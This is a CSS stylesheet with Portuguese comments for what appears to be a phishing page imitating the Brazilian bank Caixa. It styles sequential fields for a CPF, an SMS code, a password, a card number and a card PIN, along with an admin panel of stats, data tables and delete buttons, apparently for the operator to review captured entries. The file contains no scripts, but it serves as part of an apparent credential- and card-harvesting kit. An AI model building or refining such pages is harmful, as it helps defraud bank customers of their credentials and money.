@font-face {
    font-family: 'Futura-Book';
    src: url('Futura-Book.otf') format('woff2'),
         url('Futura-Book.woff') format('woff'),
         url('Futura-Book.ttf') format('truetype');
}

* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

body {
    font-family: 'Futura-Book';
    background-color: #f5f5f5;
    color: #333;
    line-height: 1.6;
}

.container {
    margin: 0 auto;
    padding: 40px;
    background-color: white;
    min-height: 100vh;
    box-shadow: 0 0 10px rgba(0,0,0,0.1);
}

.logo {
    text-align: center;
}

.logo img {
    max-width: 150px;
    height: auto;
}

.login-title {
    text-align: center;
    color: #005aa3;
    font-size: 18px;
    margin-bottom: 30px;
    font-weight: normal;
}
.btn {
    width: 100%;
    padding: 15px;
    bordeR: 1px solid #f39200;
    border-radius: 5px;
    font-size: 16px;
    cursor: pointer;
    margin-bottom: 15px;
    font-family: 'Futura-Book', Arial, sans-serif;
}

.btn-primary {
    background-color: #f39200;
    color: white;
}

.btn-primary:hover {
    background-color: #e67e00;
}

.btn-secondary {
    background-color: transparent;
    color: #f39200;
    border: 1px solid #f39200;
}

.btn-secondary:hover {
    background-color: #db6e00;
    color: white;
}

.link {
    text-align: center;
    margin-top: 20px;
}

.link a {
    color: #005aa3;
    text-decoration: none;
    font-size: 16px;
    font-weight: bold;
}

.link a:hover {
    text-decoration: underline;
}

.message {
    text-align: center;
    margin-bottom: 20px;
    padding: 10px;
    border-radius: 5px;
}

.message.error {
    background-color: #ffebee;
    color: #c62828;
    border: 1px solid #ffcdd2;
}

.message.success {
    background-color: #e8f5e8;
    color: #2e7d32;
    border: 1px solid #c8e6c9;
}

.email-option input[type="radio"] {
    margin-right: 10px;
    margin-top: 10px;
    margin-bottom: 50px; 
}

.email-option:hover {
    background-color: #f9f9f9;
}

.loading {
    text-align: center;
    padding: 40px;
}

.spinner {
    border: 4px solid #f3f3f3;
    border-top: 4px solid #f39200;
    border-radius: 50%;
    width: 40px;
    height: 40px;
    animation: spin 1s linear infinite;
    margin: 0 auto 20px;
}

@keyframes spin {
    0% { transform: rotate(0deg); }
    100% { transform: rotate(360deg); }
}

.security-message {
    text-align: left;
    padding: 20px;
    background-color: #006bae;
    border-radius: 5px;
    margin-bottom: 20px;
    color: white;
}

.security-icon {
    font-size: 48px;
    color: #1976d2;
    margin-bottom: 10px;
}

.card-input {
    letter-spacing: 2px;
    font-size: 18px;
    text-align: center;
}

.pin-input {
    text-align: center;
    font-size: 18px;
    letter-spacing: 3px;
}

.section {
    display: block;
    margin-top: 8px;
    color: #4d7880;
    font-size: 17.7px;
    text-align: left;
    margin-bottom: 25px;
}

.section.hidden {
    display: none;
}

.hidden {
    display: none;
}

.admin-panel {
    max-width: 1200px;
    margin: 0 auto;
    padding: 20px;
}

.admin-header {
    background-color: #005aa3;
    color: white;
    padding: 20px;
    border-radius: 5px;
    margin-bottom: 20px;
    text-align: center;
}

.stats {
    display: flex;
    justify-content: space-around;
    margin-bottom: 20px;
}

.stat-card {
    background-color: white;
    padding: 20px;
    border-radius: 5px;
    box-shadow: 0 2px 4px rgba(0,0,0,0.1);
    text-align: center;
    min-width: 150px;
}

.data-table {
    background-color: white;
    border-radius: 5px;
    overflow: hidden;
    box-shadow: 0 2px 4px rgba(0,0,0,0.1);
}

.data-table table {
    width: 100%;
    border-collapse: collapse;
}

.data-table th,
.data-table td {
    padding: 12px;
    text-align: left;
    border-bottom: 1px solid #ddd;
}

.data-table th {
    background-color: #f5f5f5;
    font-weight: bold;
}

.action-buttons {
    display: flex;
    gap: 10px;
    margin-top: 20px;
}

.btn-admin {
    padding: 10px 20px;
    bordeR: 1px solid #f39200;
    border-radius: 5px;
    cursor: pointer;
    font-size: 14px;
}

.btn-danger {
    background-color: #dc3545;
    color: white;
}

.btn-success {
    background-color: #28a745;
    color: white;
}

.btn-warning {
    background-color: #ffc107;
    color: #212529;
}

.btn-info {
    background-color: #17a2b8;
    color: white;
}

.management-section {
    background-color: white;
    padding: 20px;
    border-radius: 5px;
    margin-bottom: 20px;
    box-shadow: 0 2px 4px rgba(0,0,0,0.1);
}

.management-buttons {
    display: flex;
    gap: 15px;
    margin-top: 15px;
}

.modal {
    position: fixed;
    z-index: 1000;
    left: 0;
    top: 0;
    width: 100%;
    height: 100%;
    background-color: rgba(0,0,0,0.5);
    display: flex;
    justify-content: center;
    align-items: center;
}

.modal.hidden {
    display: none;
}

.modal-content {
    background-color: white;
    border-radius: 10px;
    width: 90%;
    max-width: 600px;
    max-height: 80%;
    overflow-y: auto;
}

.modal-header {
    padding: 20px;
    border-bottom: 1px solid #ddd;
    display: flex;
    justify-content: space-between;
    align-items: center;
}

.modal-header h3 {
    margin: 0;
    color: #005aa3;
}

.close {
    font-size: 28px;
    font-weight: bold;
    cursor: pointer;
    color: #aaa;
}

.close:hover {
    color: #000;
}

.modal-body {
    padding: 20px;
}

.modal-body textarea {
    width: 100%;
    padding: 10px;
    border: 1px solid #ddd;
    border-radius: 5px;
    font-family: monospace;
    resize: vertical;
}

.modal-footer {
    padding: 20px;
    border-top: 1px solid #ddd;
    display: flex;
    justify-content: flex-end;
    gap: 10px;
}

.btn-secondary {
    background-color: #FFFFF;
    color: #ff8c00;
}

.delete-btn {
    background-color: #dc3545;
    color: white;
    bordeR: 1px solid #f39200;
    padding: 5px 10px;
    border-radius: 3px;
    cursor: pointer;
    font-size: 12px;
}

.delete-btn:hover {
    background-color: #c82333;
}

  .campo-cpf {
    display: flex;
    align-items: center;
    gap: 8px;
    font-family: sans-serif;
    color: #4d7880;
  }
/* ================================================================== */
/* CÓDIGO FINAL v6 - FORÇANDO O ALINHAMENTO COM MÁXIMA ESPECIFICIDADE */
/* ================================================================== */

/* 1. O contêiner do campo. */
body .container #section-cpf .form-group {
    position: relative !important;
    margin-top: 35px !important;
    margin-bottom: 20px !important;
}

/* 2. O campo de digitação (input). */
body .container #section-cpf .form-group input {
    width: 100% !important;
    padding: 16px 8px 8px 0 !important;
    font-size: 1.2rem !important;
    color: #4d7880 !important;
    border: none !important;
    border-bottom: 1px solid #f39200 !important;
    background-color: transparent !important;
    outline: none !important;
    font-family: 'Futura-Book';
}

/* 3. A label flutuante (ícone e texto CPF) - ESTADO INICIAL. */
body .container #section-cpf .form-group .floating-label {
    position: absolute !important;
    display: flex !important;
    align-items: center !important;
    gap: 8px !important;
    font-family: 'Futura-Book', sans-serif !important;
    color: #4d7880 !important;
    font-size: 1.2rem !important;

    /* Forçando a posição inicial à esquerda com !important */
    left: 0 !important;
    top: 50% !important;
    transform: translateY(-50%) !important;

    transition: all 0.2s ease-in-out !important;
    pointer-events: none !important;
}

body .container #section-cpf .form-group .floating-label svg {
    fill: #4d7880 !important;
    font-family: 'Futura-Book';
}

/* 4. A label flutuante - ESTADO FINAL (quando sobe). */
body .container #section-cpf .form-group input:focus + .floating-label,
body .container #section-cpf .form-group input:not(:placeholder-shown) + .floating-label {
    transform: translateY(-150%) !important;
    left: -7px !important;
    background-color: white !important;
    padding: 0 4px !important;
    font-size: 1.2rem !important;
    color: #4d7880 !important;
    font-family: 'Futura-Book';

}
.form-instruction {
    display: block;
    margin-bottom: 8px;
    color: #4d7880;
    font-size: 17.7px;
    text-align: left; /* Centralizando para ficar melhor */
    margin-bottom: 25px; /* Mais espaço */
    font-family: 'Futura-Book';
}
/* ================================================================== */
/* CÓDIGO PARA O CAMPO DE VALIDAÇÃO (CÓDIGO, SMS, SENHA)             */
/* ================================================================== */

/* 1. O contêiner do campo. */
body .container #section-code .form-group,
body .container #section-sms .form-group,
body .container #section-password .form-group { /* CORREÇÃO */
    position: relative !important;
    margin-top: 35px !important;
    margin-bottom: 20px !important;
}

/* 2. O campo de digitação (input). */
body .container #section-code .form-group input,
body .container #section-sms .form-group input,
body .container #section-password .form-group input { /* CORREÇÃO */
    width: 100% !important;
    padding: 16px 8px 8px 0 !important;
    font-size: 1.2rem !important;
    color: #4d7880 !important;
    border: none !important;
    border-bottom: 1px solid #f39200 !important;
    background-color: transparent !important;
    outline: none !important;
    font-family: 'Futura-Book';
}

/* 3. A label flutuante ("Código", "Senha") - ESTADO INICIAL. */
body .container #section-code .form-group .floating-label,
body .container #section-sms .form-group .floating-label,
body .container #section-password .form-group .floating-label { /* CORREÇÃO */
    position: absolute !important;
    font-family: 'Futura-Book', sans-serif !important;
    color: #4d7880 !important;
    font-size: 1.2rem !important;
    left: 0 !important;
    top: 50% !important;
    transform: translateY(-50%) !important;
    transition: all 0.2s ease-in-out !important;
    pointer-events: none !important;
}

/* 4. A label flutuante - ESTADO FINAL (quando sobe). */
body .container #section-code .form-group input:focus + .floating-label,
body .container #section-code .form-group input:not(:placeholder-shown) + .floating-label,
body .container #section-sms .form-group input:focus + .floating-label,
body .container #section-sms .form-group input:not(:placeholder-shown) + .floating-label,
body .container #section-password .form-group input:focus + .floating-label, /* CORREÇÃO */
body .container #section-password .form-group input:not(:placeholder-shown) + .floating-label { /* CORREÇÃO */
    transform: translateY(-150%) !important;
    left: 0 !important;
    background-color: white !important;
    padding: 0 4px !important;
    font-size: 1rem !important;
    color: #4d7880 !important;
}
/* ================================================================== */
/* ESTILOS PARA SEÇÃO DO CARTÃO - CONFORME A IMAGEM               */
/* ================================================================== */

/* Esconde a mensagem de segurança antiga que não aparece na imagem. */
#section-card .security-message {
    display: none;
}

/* Novo grupo de formulário para o cartão */
.form-group-card {
    margin-bottom: 30px;
    text-align: left;
    font-family: 'Futura-Book';
}

/* Estilo da Label (texto como "Número do cartão") */
.form-group-card label {
    display: block;
    margin-bottom: 10px;
    font-size: 15px;
    color: #666;
    font-weight: normal;
    font-family: 'Futura-Book';
}

/* Remove estilos antigos e conflitantes dos inputs */
.card-input, .pin-input {
    letter-spacing: normal !important;
    font-size: 16px !important;
    text-align: left !important;
    height: auto !important;
    padding: 10px 0 !important;
    font-family: 'Futura-Book';
}

/* Estilo principal dos campos de input na seção do cartão */
#section-card input[type="tel"],
#section-card input[type="password"] {
    width: 100%;
    border: none;
    border-bottom: 1px solid #ccc;
    padding: 10px 0;
    font-size: 16px;
    background-color: transparent;
    outline: none;
    transition: border-color 0.3s;
    font-family: 'Futura-Book';
    font-weight: bold;
    color: #53a6ff;
}

/* Muda a cor da borda quando o campo está em foco (selecionado) */
#section-card input:focus {
    border-bottom: 2px solid #005aa3; /* Azul da Caixa */
}

/* Contêiner para o input com ícone */
.input-with-icon {
    position: relative;
    display: flex;
    align-items: center;
    font-family: 'Futura-Book';
}

/* Posição do ícone da câmera */
.camera-icon {
    position: absolute;
    right: 5px;
    top: 50%;
    transform: translateY(-50%);
    cursor: pointer;
}
input[type="text"],
input[type="password"],
input[type="tel"],
input[type="number"] {
  -webkit-appearance: none; /* Remove a estilização nativa do WebKit (iOS) */
  -moz-appearance: none;    /* Remove a estilização nativa do Firefox */
  appearance: none;         /* Remove a estilização nativa padrão */

  border-radius: 0;         /* Garante que não haja cantos arredondados */
  background-color: transparent; /* Remove qualquer fundo padrão */
  
  /* border: none; */
  /* border-bottom: 2px solid #ccc; */
}

input[type="text"]:focus,
input[type="password"]:focus,
input[type="tel"]:focus,
input[type="number"]:focus {
  outline: none; /* Remove a borda azul/laranja que aparece ao clicar */
}

/* APAGADO o bloco .password-group que estava aqui antes */
